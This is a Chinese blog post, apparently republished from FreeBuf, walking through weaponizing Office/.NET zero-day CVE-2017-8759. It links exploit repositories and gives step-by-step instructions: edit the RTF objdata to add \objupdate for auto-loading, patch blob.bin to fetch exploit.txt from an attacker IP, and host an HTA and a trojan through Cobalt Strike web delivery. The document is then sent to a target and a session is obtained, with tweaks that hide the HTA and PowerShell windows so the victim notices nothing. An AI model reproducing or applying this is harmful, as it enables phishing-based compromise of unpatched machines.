CVE-2017-8759完美复现(另附加hta+powershell弹框闪烁解决方案)

CVE-2017-8759 是前几天出的 0 DAY ,搜了下,国内几乎没有人复现,这个洞总体来说,危害很大,而且比CVE-2017-0199 更难防御。

漏洞成因分析:

360:一个换行符引发的奥斯卡0day漏洞(CVE-2017-8759)重现:最新的Office高级威胁攻击预警 (点击阅读原文查看链接)

FireEye:FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY (点击阅读原文查看链接)

本人尝试了下复现,的确有很多坑!国外的大牛们也没有把利用方式说的很完善。

利用的文件:

本人整理的:

https://github.com/Lz1y/CVE-2017-8759

文件分别来自:

https://github.com/Voulnet/CVE-2017-8759-Exploit-sample https://github.com/vysec/CVE-2017-8759

这次的攻击文件:cmd.hta exploit.txt blob.bin

PS:cmd.hta中嵌入了VBS脚本,可以根据自己的需求更改内容(可以使用powershell直接下载并运行木马,也可以使用Windows中的bitsadmin下载木马运行)

我整理的HTA文件已经处理过啦~不会有HTA的白色闪烁,以及powershell的蓝色弹框。本机测试完全无任何怀疑点。

然后将cmd.hta改名为cmd.jpg,并且修改当中的http://192.168.211.149:80为你的攻击IP

将exploit.txt中的的URL同样修改成你的IP

利用工具:Cobal Strike ,Office 2013,C32

选择Cobal Strike的原因是,因为这个漏洞需要搭建web服务,而Cobal Strike丰富的钓鱼模块正好满足了我们的需求

漏洞利用过程

首先,打开Cobal Strike

打开一个Listener(Cobal Strike = > Listener => add)

添加一个HTTPS的监听器,端口为443

然后Attacks=>Web Drive-by=> HOST file

切记Mime设置为HTA,Launch

接着再来一次Attacks=>Web Drive-by=> HOST file

接下来生成木马 Attacks=>Web Drive-by=> Script Web Delivery

点击Attacks=>Web Drive-by=> mange

查看当前的web页面~

接下来就是制作钓鱼文档

打开office,本人装的是win7,所以是office2013.不过这个洞跟office版本没啥关系,在WPS中用户如果双击了图块,也是会造成漏洞的。

插入对象

设置如下

点击确定。另存为Doc3.rtf。注意!!!是rtf格式!!!不然后面步骤会失败!!!!!!

使用编辑器打开Doc3.rtf。找到

{\object\objautlink\rsltpict\objw4321\objh4321{*\objdata

这一部分,修改为

{\object\objupdate\objautlink\rsltpict\objw4321\objh4321

可以让文档自动加载payload~

然后C32打开blob.bin找到以下这一区

修改十六进制部分,改为http://{攻击IP}/exploit.txt

我就改成http://192.168.211.149/exploit.txt

然后全选,反键拷贝为HEX格式化

替换Doc3.rtf中的

替换掉objdata一直到}{\result 中间的所有十六进制数据

然后保存,这样子攻击文档就制作好了~

接下来将文档发送给目标

目标点击后

无需点击是否

得到了session~

因为修改了HTA部分,所以是不存在弹框闪烁的问题(可能会被杀软检测到),目前这个0day影响还是很大的。没有打补丁的小伙伴记得修复哦~

动图(无弹框):

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-09-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Eugene's Blog

黑客常用的扫描器盒子分类目录文章标签友情链接联系我们

2639
来自专栏安恒信息

当心,Kaskitya木马伪装成“京卡-互助服务卡”欺骗用户!

最近,我们关注到一起APT攻击事件,攻击者通过钓鱼邮件的方式投递含有恶意代码的附件,此附件包含一个名叫“Kaskitya”的木马。

1092
来自专栏小白课代表

Autodesk Revit 2019安装教程

Revit是Autodesk公司一套系列软件的名称。Revit系列软件是专为建筑信息模型(BIM)构建的,可帮助建筑设计师设计、建造和维护质量更好、能效更高的建...

1923
来自专栏小白课代表

Autodesk Revit 2017安装教程

Revit是Autodesk公司一套系列软件的名称。Revit系列软件是专为建筑信息模型(BIM)构建的,可帮助建筑设计师设计、建造和维护质量更好、能效更高的建...

1281
来自专栏企鹅号快讯

NSA 攻击工具再遭利用,Windows、Linux服务器沦为挖矿工具

F5研究员发现了一种新型Apache Struts 漏洞利用。这种恶意行动利用NSA EternalBlue 和 EternalSynergy两种漏洞,运行于多...

2895
来自专栏FreeBuf

Aveo恶意软件分析

Palo Alto Networks 发现了一个名为 Aveo 的恶意软件家族,它针对日语用户开发。Aveo 的名字来自于其二进制文件中的嵌入式调试字符串。Av...

2076
来自专栏FreeBuf

免费主题暗藏后门,波及WordPress等知名CMS系统

最近美国安全研究者爆料,针对CMS(内容管理系统)网站的数千种插件和主题被植入了名为CryptoPHP的后门,这可能导致大量的Web服务器被攻击者据为己有。 隐...

2476
来自专栏信安之路

网络安全渗透测试

针对网络的渗透测试项目一般包括:信息收集、端口扫描、指纹识别、漏洞扫描、绘制网络拓扑、识别代理、记录结果等。下面就一一介绍。

1820
来自专栏晨星先生的自留地

实战系列之你真的会mysql注入么?

1995
来自专栏何俊林

Android支付实践(三)之银联支付功能(客户端+服务端)

前言:由于支付宝和微信支付都须要提供这个那个的认证材料,对于个人开发者想尝试,确实有不少麻烦,今天介绍的银联支付,对于个人开发者,可以说是福音了。来自chent...

8368

扫码关注云+社区

领取腾讯云代金券